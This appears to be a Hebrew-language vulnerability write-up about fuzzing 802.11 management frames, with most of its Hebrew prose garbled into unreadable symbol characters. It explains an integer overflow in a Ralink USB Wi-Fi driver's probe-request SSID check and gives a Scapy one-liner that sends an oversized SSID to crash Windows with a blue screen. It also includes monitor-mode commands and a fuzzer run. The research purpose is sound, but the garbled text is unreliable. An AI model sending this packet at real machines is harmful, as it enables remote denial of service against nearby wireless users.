˨˩˪ ˧˞, ˧˶ˡˢ ˸˞ ˵ˣˡ˟˪ˣ ˢ˲˲˩ˢ ˸˞ ˫˧˶ˢ˪ ˡ˥˞ ˶˧ˢ˟ ˶˵ˣ˟ ˧˸˦˪˥ˢ˧˧˪˷ ˸˷˶ˢ ˯˧˦˶˩ ˪˷ ˶˟,  ˰ˣˡ˧ˢ

 ˣˬ˷˟Ralinktech USB-  ˶˟˰˟ ˵ˣˣ˷˷ ˭˟˪ ˯˧˦˶˩˧ˡ˧ ˪˰ ˵ˤ˟ ˸˶˟˥.˸˵˲˯ˬ ˢ˶˟˥ˢ˷ ˟˪ ˧˸ˬ˷,  ˱˯ˣˮ˟

˶ˡ˪˧ ˪˷ ˧˶˞ˮ˧˟ˢ ˶˟˧Windows, ˯˵ˣˮ˧˪˪ ˶ˣ˵ˬ ˡˣ˵˟ ˶˟˧˶ˡ ˫ˠ.  ˪˰ ˸ˣ˧˞˶˥˞ˢ ˸ˣ˧˴˵ˮˣ˲ˢ˷ ˧˸˶˰˧˷

˭˩˞ˣ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ ˭˧˟ ˸ˣˮ˸˷ˢ˪ ˸ˣ˶ˣˬ˞ ˞˪ ˸ˣ˪˧˟˥ˢ ˪˷ ˶ˣ˯˶˧˲ˢ ,˟ ˧˶˞ˮ˧˟ˢ ˪˷ ˢ˶˴˵ ˢ˵˧ˡ˟-IDA 

ˢ˩˞˪ˬ˪ ˸˷ˠ˪ ˧˸˪ˣ˩˧ˣ ˢ˶˰˷ˢˢ ˸˞ ˢ˶˷˧˞ ˶ˣ˵ˬˢ ˡˣ˵ ˪ˣˬ- ˶ˣ˵ˬˢ ˡˣ˵˟ ˸ˣ˷˪ˣ˥ ˶ˣ˸˧˞.  ˨ˣ˸ ˸ˬ˞˟ˣ

˸ˣ˵ˡ ˢˬ˩...ˣˠˮ˧˟ ! ˢ˞˴ˬˮˢˮˣ˷˞˶ˢ ˢ˷˪ˣ˥ˢ.  ˠ˧˴ˮ ˶ˬ˞ˬˢ ˨˷ˬˢ˟ˣˤ ˢ˷˪ˣ˥ ,˞˨  ˢ˧˪˞ ˯ˮ˩ˮ˷ ˧ˮ˲˪

 ˪ˣ˵ˣ˦ˣ˶˲˟ ˫˧ˠ˷ˣˬ ˪˰ ˸˴˵ ˶ˣ˟˰ˮ802.11 ˣˮ˪˷ ˢˡˣ˟˰ˢ ˸˟˧˟˯ ˸˞ ˶˧˩ˮˣ. 

 

˟ˠ˞, ˪ ˶˷˵˟"˸˰ˡˢ ˧ˣ˪˧ˠ " ˶ˬ˞ˬˢ ˷˞˶˟ï  ˧˲˪"l˧˵˧ˣˣ ˶ ˠˣ˞ˡ˪ ˢˬ ˣˮ˪ ˭˧˞. 

 

 ˪ˣ˵ˣ˦ˣ˶˲802.11 
 

˶ˬ˞ˬˢ ˨˷ˬˢ ˸ˮ˟ˢ˟ ˣˮ˪ ˶ˣˤ˰˪ ˣ˪˩ˣ˧˷ ˸ˣ˪˧˟˥ ˧ˠˣ˯ ˢˬ˩ ˢ˶˴˵˟ ˠ˧˴ˮ,  ˭˞˩ ˭˧˧˴˞ ˧˩ ˸˶˦ˬ˷ ˭ˣˣ˧˩ˬ

˶ˬ˞ˬˢ ˢˮ˧˞ ˬˣ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˫˰ ˸˧ˮˣ˷˞˶ ˸ˣ˶˩˧ˢ ˸ˣ˷˰˪˫ˣ˷  ˫ˠ˶˸˪ ˧ˮˣ˴˶˟ ˭˧˞˷˸˞  ˪˩ˬ˷ ˢˬ˪˩ ˰˧˲ˣ 

˸˷˶˟ ˢ˟˶ˢ ˨˩ ,ˡ˟˪˟ ˫˧˯˧˯˟ ˫˧ˮ˩˦ ˫˧ˠ˷ˣˬ˟ ˧˸˵˲˸˯ˢˣ ˶˟˯ˢ˟ ˡˣ˞ˬ ˧˸˶˴˧˵,  ˞˪˷ ˧ˬ˪ ˳˪ˬˣˬ ˭˩˪

˟˧˥˶ˢ˪ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˸˞ ˶˧˩ˬ ˣˮ ˸ˣ˶ˣ˵ˬ˪ ˣ˸˞˧˶˵ ˸˞˯˫˧˲. 

 

˫˧˯˧˯˟ ˫˧ˠ˷ˣˬ 

 

¶ Service set identifier or SSIDï ˢ ˸˷˶ ˪˷ ˫˷ˢ-Wireless . 

 

¶ Infrastructure modeï  ˷˧ ˣ˟ ˟˴ˬAccess Point ˣ˧˪˞ ˸ˣ˶˟ˣ˥ˬˢ ˸ˣˮ˥˸ ˫˰ ˡ˥˧ , ˢˤ ˞ˣˢ

ˣ˩˶ˡ ˸˪ˢˣˮˬ ˸˶ˣ˷˵˸ˢ ˪˩ˣ ˸˷˶ˢ ˸˞ ˪ˢˮˬ˷ . ˸ˣ˸˷˶˟ ˶˸ˣ˧˟ ˳ˣ˲ˮˢ ˞ˣˢ ˢˤ ˟˴ˬ

˸ˣ˧˦ˣ˥˪˞ˢ,  ˫ˠ ˞˶˵ˮBSS. 

 

¶ AD-HOC modeï ˢˬ ˳ˣ˲ˮ ˸ˣ˥˲ ˢ˟˶ˢ-infrastructure , ˣˮ˪ ˭˧˞ ˢˤ ˟˴ˬ˟Access Point  ˪ˢˮˬ˷

˸˷˶ˢ ˸˞ ,˥ˣ˩˟ ˸ˣ˶˧˷˧ ˸ˣ˶˷˵˸ˬˢ ˸ˣˮ˥˸ ˞˪˞˭ˬ˴˰ ˸ˣ , ˫ˠ ˞˶˵ˮIBSS. 

 

 

http://secunia.com/advisories/33592
http://he.wikipedia.org/wiki/Wi-Fi
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 ˸ˣ˪˧˟˥Management 

  

¶ Authentication frame ï ˪ ˦ˮ˧˧˪˵ ˪˷ ˸ˣˬ˧˞ˣ ˸ˣ˶˟˥˸ˢ ˨˧˪ˢ˸ ˪˰ ˸˧˞˶˥˞˷ ˢ˪˧˟˥-Acces 

Point ,˸ˣˬ˧˞˪ ˫˧˩˶ˡ ˧˸˷ ˣˮ˩˸˧: 

1. Open System Authentication- ˪ ˦ˮ˧˧˪˵ˢˬ ˸˥˪˷ˮ˷ ˢ˪˧˟˥-Access Point , ˢ˪˧˩ˬ

˸ˣ˶˟˥˸ˢ ˸˷˵˟ ,-sAP ˣ˷˸ ˢ˶˧ˤ˥ˬ˸˧˟ˣ˧˥ ˣ˞ ˸˧˪˧˪˷ ˢ˟. 

2. Optional Shared key Authentication ï ˪ ˥˪ˣ˷ ˦ˮ˧˧˪˵ˢ-AP ˸ˣ˶˟˥˸ˢ ˸˷˵˟ ,

˦˯˵˦ ˣ˪ ˶˧ˤ˥ˬ˷ ,˪ ˣ˸ˣ˞ ˶˧ˤ˥ˬˣ ˦˯˵˦ˢ ˸˞ ˭˧˲˴ˬ ˦ˮ˧˧˪˵ˢ-AP  ˢ˟ˣ˷˸ ˣ˪ ˶˧ˤ˥ˬ˷

˭ˣ˩ˮ ˣ˪˷ ˥˸˲ˬˢˣ ˢˡ˧ˬ˟ ˸˧˟ˣ˧˥. 

 

¶ Deauthentication frame - ˸ˣ˶˟˥˸ˢ ˵ˣ˸˧ˮ ˪˰ ˢ˰ˡˣˢ. 

¶ Association request frame- ˢ ˪˷ ˢ˷˵˟-NIC ˢˬ-AP , ˪˷ ˸˶ˣ˷˵˸ˢ ˧˟˧˩˶ ˪˰ ˰ˡ˧ˬ ˢ˪˧˩ˬˢ

˶˟˥˸ˢ˪ ˢ˴ˣ˶ ˞ˣˢ ˢ˧˪˞ ˸˷˶ˢ ˫˷ˣ ˦ˮ˧˧˪˵ˢ .ˢ˪˟˵˸ˢ ˢ˷˵˟ˢˣ ˢˡ˧ˬ˟ ,-sAP  ˫ˣ˵ˬ ˢ˴˵ˬ

 ˶˴ˣ˧ˣAsocciation ID ˪-NIC. 

¶ Association response frame -ˢˣ ˢˡ˧ˬ˟- AP ˪ ˢ˪˧˟˥ ˶˧ˤ˥ˬ ˞ˣˢ ˢ˷˵˟ˢ ˸˞ ˶˷˧˞-NIC 

 ˸˞ ˢ˪˧˩ˬˢ-sID ˸˶ˣ˷˵˸ˢ ˧˟˧˩˶ ˪˰ ˰ˡ˧ˬ ˫˰ ˣ˪˷. 

¶ Disassociation frame -˪ ˢ˰ˡˣˢ-AP ˢ˷- NIC ˪˰ ˵˸ˮ˸ˬ-˰ˡ˧ˬ ˶˶˥˷˧˷ ˸ˮˬ. 

¶ Beacon Frame -  ˸˷˧˶˲˟ ˸˥˪˷ˮ˷ ˢ˪˧˟˥BroadCast ˢ ˧ˡ˧ ˪˰-AP , ˧˰˟ˡ ˭˞ˬ ˪˩˪ ˰˧ˡˣˢ˪

˸˷˶ ˧˸ˣ˶˧˷ ˵˲˯ˬ ˞ˣˢ˷. 

¶ Probe request frame - s-NIC ˢˬ ˰ˡ˧ˬ ˷˵˟ˬ-AP. 

¶ Probe response frame - ˢ ˪˷ ˢ˟ˣ˷˸-AP ˢ ˸˷˵˟˪-NIC ˸˶ˣ˷˵˸ˢ ˧˟˧˩˶ ˪˰ ˰ˡ˧ˬ ˢ˪˧˩ˬˢ. 

 

 

ˣˮ˪˷ ˢˡˣ˟˰ˢ ˸˟˧˟˯ 

 

 ˧˟ˠ ˪˰ ˯˵ˣˮ˧˪˟ ˢ˧ˢ˸ ˣˮ˪˷ ˢˡˣ˟˰ˢ ˸˟˧˟˯Scapy -  ˪˷ ˶ˣ˴˧˧˪ ˫˧˵˷ˬˬ ˢ˩ˣ˸˟ ˢ˪˧˩ˬˢ ˭ˣ˸˧˲ ˸˧˶˲˯

 ˸ˣ˦˵˲ˢ ˧ˠˣ˯ ˪˩ ˦˰ˬ˩)Packet Generator ( ˸ˣ˟˩˷ˢ ˧ˠˣ˯ ˪˩˟ .˶ˮ ˣˮ˞ ˢˤ ˧˪˩˪ ˱˯ˣˮ˟ ˸˞ ˱˧ˮ˯ˢ˪ ˢ˴

˶˧ˣˣ˞˟ ˶˟ˣ˰˷ ˰ˡ˧ˬˢ ,˶ˠ˷ˮ˷ ˸ˣ˦˵˲ˢ ˸˞ ˫ˠ ˱˯ˣˮ˟ˣ ,˟ ˷ˬ˸˷ˮ ˨˩ ˫˷˪ˣ-Wireshark ˧ˡˠ˞ˢ. 
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˸˷˶ ˧˯˧˦˶˩ 

 

˰ˣˡ˧˩ , ˣˮ˥ˮ˞ ˭˩˪ˣ ˸ˣ˟˩˷ˢ ˰˟˷ ˪ˡˣˬ˟ ˶˸ˣ˧˟ ˢ˩ˣˬˮˢ ˞˧ˢ˷ ˸˧ˤ˧˲ˢ ˢ˟˩˷˟ ˸ˣ˪˧˟˥ ˫˧˥˪ˣ˷ ˣˮ˥ˮ˞

˶˟˧˧˶ˡˢ ˪˷ ˢ˩˧ˬ˸ ˫˧˟˧˧˥ . ˸˷˶ˢ ˧˯˧˦˶˩ ˪˷ ˫˧˶˟˧˧˶ˡˢ ˪˩ ˞˪ ˣˮ˶˰˴˪ ˢ˥˧˪˷ ˪˷ ˸ˣ˶˷˲˞˟ ˫˧˩ˬˣ˸

 ˢ˲ˮ˯ˢˣ-  ˸˞ˤˢ ˢ˧˴˲ˣ˞ˢ ˸˞ ˢ˶˷˲˧˞ ˢ˶˟˥ˢ˷ ˶˟ˡˢ ˸ˣ˰ˬ˷ˬ ˭˧˞ ˯˵ˣˮ˧˪˟ ˫˧˩ˬ˸ˮ ˫ˢ ˫˞ ˫ˠ )

 ˸˞˶˵ˮˢMonitor.( 

ˢ˷˪ˣ˥ˢ ˸˞ ˣˮ˞˴ˬ ˣ˟ ˸˷˶ˢ ˯˧˦˶˩˟ ˷ˬ˸˷ˮ- RT73 USB , ˨˩˪ ˱˯ˣˮ˟ˣ ˯˵ˣˮ˧˪˟ ˢ˪ˣ˰ˬ ˢ˶ˣ˴˟ ˨ˬ˸ˮ˷

 ˣ˪ ˞ˣ˴ˬ˪ ˭˸˧ˮ˫˧ˡ˥ˣ˧ˬ ˫˧˶˟˧˧˶ˡ ˣ˪˞˩ ˸ˣ˧ˮˣˡˤ ˸ˣ˪ˣ˰˲ ˨˶ˣ˴˪ ˡ˥ˣ˧ˬ˟ ˣˮ˟ˮ˷. 

 

˶ˣ˦˧ˮˣˬ ˟˴ˬ˟ ˯˧˦˶˩ˢ ˸˞ ˪˧˰˲ˮ ˭ˣ˷˞˶ˢ ˟˪˷˟: 

 

debian - abc : ~# ifconfig wlan0 up  

debian - abc  ~# iwconfig wlan0 mode monitor  

debian - abc : ~# iwpriv wlan0 rfmontx 1  

 

 

Scapy 

 

˯ˢ ˧ˢˣˤ ˶ˢ˟ˣˢ˷ ˧˲˩˥˪˷ˮ˷ ˸ˣ˪˧˟˥ˢ ˸˞ ˶˴˧˧˪ ˧ˡ˩ ˷ˬ˸˷ˮ ˢ˟ ˢ˧˶˲, 

 ˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ-Scapy ˩ ˫ˠ-Interpreter ˭ˣ˸˧˲ ˦˲˧˶˵˯ ˨ˣ˸˟ ˟ˣ˪˧˷˟ ˫ˠˣ 

 

debian - abc:~# scapy  

Welcome to Scapy (1.0.4.1beta)  

>>> ls(Dot11)  

subtype    : BitField             = (0)  

type       : BitEnumField         = (0)  

proto      : BitField             = (0)  

FCfield    : FlagsField           = (0)  

ID         : ShortField           = (0)  

addr1      : MACField             = ('00:00:00:00:00:00')  

addr2      : Dot11Addr2MACField   = ('00:00:00:00:00:00')  

addr3      : Dot11Add r3MACField   = ('00:00:00:00:00:00')  

SC         : LEShortField         = (0)  

addr4      : Dot11Addr4MACField   = ('00:00:00:00:00:00')  

 

 

 

 

http://rt2x00.serialmonkey.com/
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 ˸˧˧˶˲˯Dot11 ) ˪˷ ˶ˣ˴˧˵ˢ802.11  (˪˰ ˨˶˦˴ˮ˷ ˢˬ ˪˩ ˸˞ ˢ˪˧˩ˬ-˸ˣ˪˧˟˥ ˶ˣ˴˧˪ ˸ˮˬ ,˥ˣ˪˷˪ ,˭˧ˤ˞ˢ˪ ,

 ˦ˣ˷˲ ˠˮ˧ˤ˞˲ ˸ˣ˷˰˪ ˣ˪˧˲˞ˣ ˥˸ˮ˪- ˫˧˶˥˞ ˸ˣ˲˧˵˸ ˧ˠˣ˯˪ ˫ˠ ˷ˬ˷˪ ˢ˪ˣ˩˧ ˞˧ˢ ˧˩ ˢ˸ˣ˞ ˶˧˩ˢ˪ ˳˪ˬˣˬ. 

 ˸˪˧˟˥ ˪˷ ˢ˥˧˪˷˪ ˞ˬˠˣˡBeacon: 

 

 

>>> 

frame=Dot11(addr1='11:11:11:11:11:11',a ddr2='ff:ff:ff:ff:ff:ff',addr3='

11:11:11:11:11:11')/Dot11Beacon()  

>>> sendp(frame)  

.  

Sent 1 packets.  

>>> 

 

˨˪ˢˬˢ ˸˞ ˭˧˟ˢ˪ ˸ˮˬ ˪˰  ˸˞ ˥˸˲ˮWireshark ˢ˪˧˟˥ˢ ˸˞ ˫˧˥˪ˣ˷ ˣˮ˥ˮ˞˷ ˭ˬˤ˟ ˱˧ˮ˯˧˷,  ˪˩ˣˮ ˨˩

ˢ˥ˣˮ ˢ˶ˣ˴˟ ˢ˸ˣ˞ ˥˸ˮ˪: 

 

 

 ˭˧˟ˢ˪ ˭˸˧ˮ ˢˮˣˬ˸ˢˬ˧˩  ˠˣ˯ˬ ˢ˪˧˟˥ ˣˮ˶˴˧Beacon  ˸˟ˣ˸˩ˬ ˢ˥˪˷ˮ˷MAC-11:11:11:11:11:11, ˢ˷ ˧˞

ˢ ˫˴˰˟-BSSID ˪ ˣˮ˪˷-Broadcast , ˫˧˯˲ˣ˞ˬ ˫˧˩˶˰ˢ ˶˞˷- ˨˩ ˷ˣˮ˪˷ ˢ˪˧˟˥ˢ ˸˩˲ˣˢ  ˸˶˯˥˪

˸ˣ˰ˬ˷ˬ. 
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˷˪ˣ˥ˡˣ˵ ˸ˣ 

 

˪˰ ˧ˮˡ˧ ˭˲ˣ˞˟ ˧˸˞˴ˬ ˢˮˣ˷˞˶ˢ ˢ˷˪ˣ˥ˢ ˸˞  ˫˧˶˟˧˧˶ˡˢ ˪˷ ˶ˣ˵ˬˢ ˡˣ˵˟ ˢ˶˴˵ ˸ˣ˪˩˸˯ˢ ˧ˡ˧: 

 
sanity.c 

 
1.  BOOLEAN PeerProb eReqSanity(  

2.      IN PRTMP_ADAPTER pAd,  

3.      IN VOID *Msg,  

4.      IN ULONG MsgLen,  

5.      OUT PUCHAR pAddr2,  

6.      OUT CHAR Ssid[],  

7.      OUT UCHAR *pSsidLen)  

8.  {  

9.      UCHAR         Idx;  

10.   UCHAR       RateLen;  

11.   CHAR          IeType;  

12.      PFRAME_802_11 pFrame = (PFRAME_ 802_11)Msg;  

13.   

14.      COPY_MAC_ADDR(pAddr2, pFrame - >Hdr.Addr2);  

15.   

16.      if  ((pFrame - >Octet[0] != IE_SSID) || (pFrame - >Octet[1] 

> MAX_LEN_OF_SSID))  

17.      {  

18.          DBGPRINT(RT_DEBUG_TRACE, "PeerProbeReqSanity fail -  

wrong SSID IE(Type=%d,Len=%d) \ n" ,pFrame - >Octet[0], pFrame -

>Octet[1]);  

19.          return  FALSE;  

20.      }  

21.       

22.      *pSsidLen = pFrame - >Octet[1];  

23.      NdisMoveMemory(Ssid, &pFrame - >Octet[2], *pSsidLen);  

24.   

 

 ˪˷ ˟˴ˬ˟ ˵˶ ˸˞˶˵ˮ ˸˞ˤˢ ˢ˧˵˴ˮˣ˲ˢ ˧˩  ˭˧˧˴˪ ˷˧AD-HOC . 

 

ˢ˧˴˵ˮˣ˲ˢ ˥ˣ˸˧ˮ 

 

 ˢ˶ˣ˷˟16  ˶˲˞˟˪ ˢ˵˸˰ˢ ˧ˮ˲˪ ˢ˵˧ˡ˟ ˸˰˴˟˸ˬSSID ,˷ ˰ˣ˟˵ ˪˷ ˸˥˞ ˢ˵˧ˡ˟ˣ˸˶˦ˬ  ˵ˣˡ˟˪ ˶˟ˣˡˬ ˧˩

-˟SSID, ˸˷˶ˢ ˫˷ ˪˷ ˸ˤˣ˶˥ˬ ˶ˬˣ˪˩ ,ˣ ˢ˵˧ˡ˟ ˣˮ˥ˮ˞ ˣ˧˪˞ ˶˲˞˟ˢ ˪˷ ˧˪ˬ˧˯˵ˬˢ ˪ˡˣˠˢ ˪˷ ˢ˧ˮ˷

˫˧˵˧˸˰ˬ ,˭˟ˣˬ˩ ˣˮ˸˦˧˪˷˟ ˫ˢ ˫˧˵ˡ˟ˮ˷ ˫˧˩˶˰ˢ ˧ˮ˷. 

 

 ˨ˣ˸˟mlme.h ˣˮ˪˷ ˢˮ˟ˬˢ ˪˷ ˢ˶ˡˠˢˢ ˸˞˴ˬˮ : 

 

typedef struct PACKED _FRAME_802_11 {  

    HEADER_802_11   Hdr;  
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    CHAR            Octet[1];  

}   FRAME_802_11, *PFRAME_802_11;  

˟˪ ˫˧˷˪ ˭˸˧ˮ˷ ˧˲˩ , ˣˮ˪ ˷˧Integer Overflow  ˢ˶ˣ˷˟ ˢ˵˧ˡ˟˟˷ ˭ˣˣ˧˩ˬ16  ˪˷ ˪ˡˣˠ ˫˧˵ˡˣ˟ ˣˮ˥ˮ˞Char 

˭ˬˣ˯ˬ , ˧˪˧˪˷ ˢ˧ˢ˧ ˣˮ˪˷ ˪ˡˣˠˢ ˪˷ˬ˪ ˫˞˷ ˨˩)ˬ ˪ˣˡˠ-128(,  ˢ˵˧ˡ˟ˢ ˸˞ ˶ˣ˟˰ˮˣ˪˷˟ ˶˸ˣ˧ ˶˥ˣ˞ˬ ˟

 ˢ˶ˣ˷˟23 ˭ˬˣ˯ˬ ˞˪ ˶˲˯ˬ˪ ˢ˟˯ˢ ˢ˧ˢ˸,  ˫˷˪˟˵ˮ ˬ ˪ˣˡˠ ˶˲˯ˬ-128,  ˶˲˞˟ˢ ˪ˡˣˠˬ ˶˸ˣ˧ ˢ˟˶ˢSSID 

 ˪ˡˣˠ˟ ˪˥˸ˣ˞ˬˢMAX_LEN_OF_SSID  ˞ˣˢ˷˪˩ˢ ˨˯˟ 32 ˧˸˟ ˫)˶ˡˠˣˬ ˟˳˟ˣ˵ˢ ˨ˣ˸ rtmp_def.h.( 

 

 ˢˮ˵ˣ˸ ˢ˷˪ˣ˥ˢ ˡˣ˰ ˢ˯˶˧ˠ˟V1.0.5.0, ˦ˣ˷˲ ˡˣ˞ˬ ˞ˣˢ ˭ˣ˵˧˸ˢ- ˢ˧ˢ ˨˧˶˴ ˸˞ ˸ˣˮ˷˪  ˪˷ ˢ˶ˡˠˢˢ

Octet[] ˪-UCHAR ,˩˨  ˢˤ˫ˣ˧˩ ˰˧˲ˣˬ ˟-mlme.h : 

 

typedef struct PACKED _FRAME_802_11 {  

    HEADER_802_11   Hdr;  

    UCHAR           Octet[1];  

}   FRAME_802_11, *PFRAME_802_11;  

 

 

˟ˠ˞ , ˪˰ ˱˞˶ˬ˞ˬˢ ˞˷ˣˮ ˢˤ ˭˧˞˷ ˧˲,  ˭˧˧˴˪ ˷˧ ˧˩ ˸ˣ˷˪ˣ˥ˢ˭ˢ˟ ˭˧˥˟ˢ˪ ˢ˷˵˷ ˢ ˸ˣ˷˪ˣ˥ ˣ˪˞-Int 

Overflow , ˸ˣ˷˪ˣ˥strcpy  ˸ˬ˞˟ ˸ˣ˧˯˞˪˵ˢ˲ˣ˴ˬ ˞˪˷  ˪˷ ˡˣ˵˟ ˞ˣ˴ˬ˪ ˫˧˸ˮ˩˸ˬˣˮ˧ˬ˧ ˧ˮ˟. ˸ˣ˷˪ˣ˥  

Int overflow ˸ˣ˦˰ˣ˟ˣ ˸ˣ˧˥ ,˭ˢ˧˪˰ ˰˧˶˸ˢ˪ ˰ˡˣ˧ ˶˪˧˲ˬˣ˵ˢ ˫˧˶˵ˬˢˬ ˵˪˥˟˷ ˸ˣ˶ˬ˪. 

 

˧˧ˮ˰˪ ˶ˣˤ˥ˮ-˭ ˧˸ ˸˧˦˶ˣ˞˸ˬ˧˧˵  ˸ˣˮ˟˪ ˨˧˶˴˷ ˢ˷˪ˣ˥ˢ˶ˣ˟˰  ˢˮ˰˦ˢ ˸˞ ˥˧˩ˣ˧˷ ˦˧ˣ˪˲˯˵˞)so called 

POC(. ˟ ˳˶ ˶˟˧˧˶ˡˢ˷ ˵˶ ˶˧˩ˤˮ-Kernel Mode, ˟ ˸ˣ˞˶˪ ˫˧ˣ˲˴ ˣˮ˥ˮ˞ ˢ˯˧˶˵ ˢ˧ˢ˸ ˫˞˷ ˨˩ Windows- 

ˢ ˸˞-BSOD )Blue Screen of Death.(  

 

 ˢ˷˪ˣ˥ˢ ˸˞ ˪˴ˮ˪ ˪˩ˣˮ˷ ˧ˡ˩ˣˮ˧˪˰  ˟˴ˬ˟ ˣˮ˪˷ ˯˧˦˶˩ˢ ˸˞ ˪˧˰˲ˢ˪AD-HOC  ˸˪˧˟˥ ˣ˪ ˥ˣ˪˷˪ˣ

ProbeRequest  ˫˰SSID ˬ ˪ˣˡˠ-128. 

 

>>>frame=Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2="f5:f5:f5:f5:f5:f5",addr

3="f5:f5:f5:f5:f5:f5")/Dot11ProbeReq(" \ 0\ xbc"+0xbc*'a')  

>>> sendp(fr ame)  

.  

Sent 1 packets.  

>>>     

http://www.ralinktech.com/support.php?s=2
http://www.youtube.com/watch?v=IW7Rqwwth84
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 ˥˸˲ˮWireshark ˭˧˵˸ ˪˩ˢ˷ ˵ˣˡ˟˪: 

 

˫˩˸˧˞ ˢˬ ˰ˡˣ˧ ˞˪ ˧ˮ˞ , ˷˧ ˧˪˴˞BSOD. ˦ˣ˷˲ ˞˪ ˞˷ˣˮ ˞ˣˢ ˢ˷˪ˣ˥ˢ ˪ˣ˴˧ˮ s  ˪ˮ˶˵ˢ ˪˷ ˠˣ˟˧ˡ ˫ˠ ˷˶ˣˡ

)˭˞˩ ˟˧˥˶ˮ ˞˪ ˨˩ ˪˰ ,˪ ˢˮ˲ˮ ˧˩ ˫˞˞˷ˣˮ˟ ˥˪˴ˣˬ ˶˟˯ˢ.( 

 

ˠˮ˧ˤ˞˲ ,˞˪ ˢˬ˪? 

 

˸ˣ˷˪ˣ˥ ˧˪ ˞ˣ˴ˬ˪ ˪˩ˣ˧˷ ˶ˤ˞˲ ˟˸ˣ˩ ˧ˮ˞˷ ˧˸˦˪˥ˢˣ ˶˵˥ˬˢ ˸˞ ˧˸˩˷ˬˢ ˸ˣ˶˥˞. 

˷˧ ˰ˣˡ˧˩˫ˮ ˫˪ˣ˰˟ ˫˧˶ˤ˞˲ ˫˧ˠˣ˯ ˧ˮ˷: 

¶ ˢ ˫˧˶ˤ˞˲˧ˬ˧˸ˣ˪˧˟˥ˢ ˸˞ ˫˧˶˴/˵˫˧˴˟ ˫˧˧˶˷˲˞ˢ ˫˧˩˶˰ˢ ˪˩ ˸˞ ˫ˢ˟ ˟˧˴ˢ˪ ˫˧˯ˮˬˣ ˫ˬ˴˰˟. 

˨˩ ˡ˟ˣ˰˷ ˫˯˶ˣ˲ˬ ˶ˤ˞˲  ˞ˣˢ- Peach x˭ˬˤ ˭ˣˬˢ ˸˥˵˪ ˢ˪ˣ˩˧ ˢˤ˩ ˶ˤ˞˲ ˪˷ ˢ˴˶ˢ,  ˞˪˷˪ ˶˟ˡ

 ˪˰˫˰˲ ˪˩˟ ˭ˣ˵˧˸ˣ ˢˮ˩ˢ ˭ˬˤ. 

http://research.eeye.com/html/papers/download/StepIntoTheRing.pdf
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¶ ˢ ˫˧˶ˤ˞˲˸ˣ˞ ˫˧˷˟˷ˬ ˦ˣ˷˲ˣ ˸ˣˬ˧˧˵ ˸ˣ˪˧˟˥ ˫˧˥˵ˣ˪ ˭ ˸˶˷ˢ ˨˧˞ ˸ˣ˞˶˪ ˧ˡ˩˫˰ ˡˡˣˬ˸˧ ˢˤ. 

 ˞ˣˢ ˨˩ ˡ˟ˣ˰˷ ˫˯˶ˣ˲ˬ ˶ˤ˞˲zzuf . 

ˢ˧ˮ˷ˢ ˢ˧˴˲ˣ˞˟ ˧˸˶˥˟ , ˧˪ ˫˪˷ˬ ˞˪ ˡ˥˞ ˱˞ ˸˞ˤ ˪˩˟ ˧˩) ˫˸˞˟˴ˬˢ ˸˞ ˸ˣˮ˷˪ ˫˧ˮˬˤˣˬ.( 

˟ ˧˸˷ˬ˸˷ˢ-Fusil, ˧˶˲˯ ˞˧ˢ˷˧ ˢ˦ˣ˷˲ˣ ˢ˪˧˪˵ ˭ˣ˸˧˲ ˸ˢ˸ˣ˧˴˵ˮˣ˲ ˢ˪˧˩ˬ ˸ˣˮˣˣˠˬ s ˰ˡ˧ˬ ˸ˣ˶˴˧ˬ

˶ˤ˞˲˪. ˧˸ˮˮ˩˸  ˸ˣ˪˧˟˥ ˯ˣ˲˸˪Management ˸ˣ˞ ˷˟˷˪ˣ ˶˧ˣˣ˞˟ ˸ˣˮ˩ˣˬ ˭ ˡ˥˞ ˸˞ ˧˸˥ˬ˷˪ ˢ˞˶˞˷ ˡ˰

ˢ˯˶ˣ˵ ˫˧˶˧˷˩ˬ. ˥˪˷˷ ˸ˣ˪˧˟˥ ˶˲˯ˬ˪ ˸˥˞˧˸, ˧˸˥˪˷  ˠˮ˧˲) ˟˧˧˥ˬ˷ ˢˬ ˧˩ ˶˟ˣ˥ˬ ˢ˧ˢ˧ ˟˷˥ˬˢ

˶˥˞ ˯˧˦˶˩˟ ˸˷˶˪ ( ˫˧˶˧˷˩ˬˢ ˪˩˪˧˸˵ˡ˟˷ x˧˸˞ˡ˧ˣ ˫˧˧˥˟ ˭˧˧ˡ˰ ˫ˢ˷.  ˡ˥˞ˣ ˢˡ˧ˬ˟˫˧˶˧˷˩ˬˢ  ˞˪

˟˧ˠˬ,  ˳˟ˣ˵˟ ˶ˬˣ˷ ˶ˤ˞˲ˢPickle ˣˮ˥˪˷˷ ˸ˣ˪˧˟˥ˢ ˪˩ ˸˞ ,˸ˣ˞ ˵ˣˡ˟˪ ˪˩ˣˮ˷ ˨˩ ˭ ˧ˡ˩ ˧ˮ˦˶˲ ˭˲ˣ˞˟

ˤ˪˯ˣ˶˵˪ ˣ˪ ˢˬ˶ˠ ˭ˢˬ ˧ˬ ˸ˣˢ. 

˸˟˧˸˩ ˶˥˞˪ ˶ˤ˞˲ˢ ,˫˧˷ˬ˸˷ˬ˷ ˸˧˟˟ ˧˪ ˷˧˷ ˫˧˶˧˷˩ˬˢ ˪˩ ˸˞ ˧˸˞˟ˢ ˟-Wireless  ˵˥˷˪ ˧˸˪˥˸ˢˣ

˫˸˧˞, ˸ˣ˪˧˟˥ ˪˷ ˸ˣ˶˧ˡ˞ ˸ˣ˧ˣˬ˩ ˶ˡ˷ˬ ˰˵˶˟ ˶ˤ˞˲ˢ˷ ˡˣ˰˟ .˪ ˶˦ˣ˞˶ˢ˷ ˵˰˴ ˶ˤ˞˲ˢ ˸ˣ˵ˡ ˢˬ˩ ˶˥˞

˟˧ˠˬ ˞˪- ˭˩˞ , ˢ˞˴ˬˮ˸ˣˬ˪ ˣ˪ ˢˬ˶ˠ˷ ˢ˷ˡ˥ ˢ˷˪ˣ˥. 

debian - abc:# py thon2.4 wififuzz.py 10.0.0.138  

802.11 Management 4L 00:26:82:41:b2:1f > ff:ff:ff:ff:ff:ff  

802.11 Management 3L 00:26:5a:7c:23:41 > 00:26:82:41:b2:1f  

802.11 Management 2L 00:26:82:41:b2:1f > 00:26:5a:7c:23:41  

10.0.0.138 Crushed?  

debian - abc:# python  

Python 2 .5 (release25 - maint, Jul 20 2008, 20:47:25)  

[GCC 4.1.2 20061115 (prerelease) (Debian 4.1.1 - 21)] on linux2  

Type "help", "copyright", "credits" or "license" for more information.  

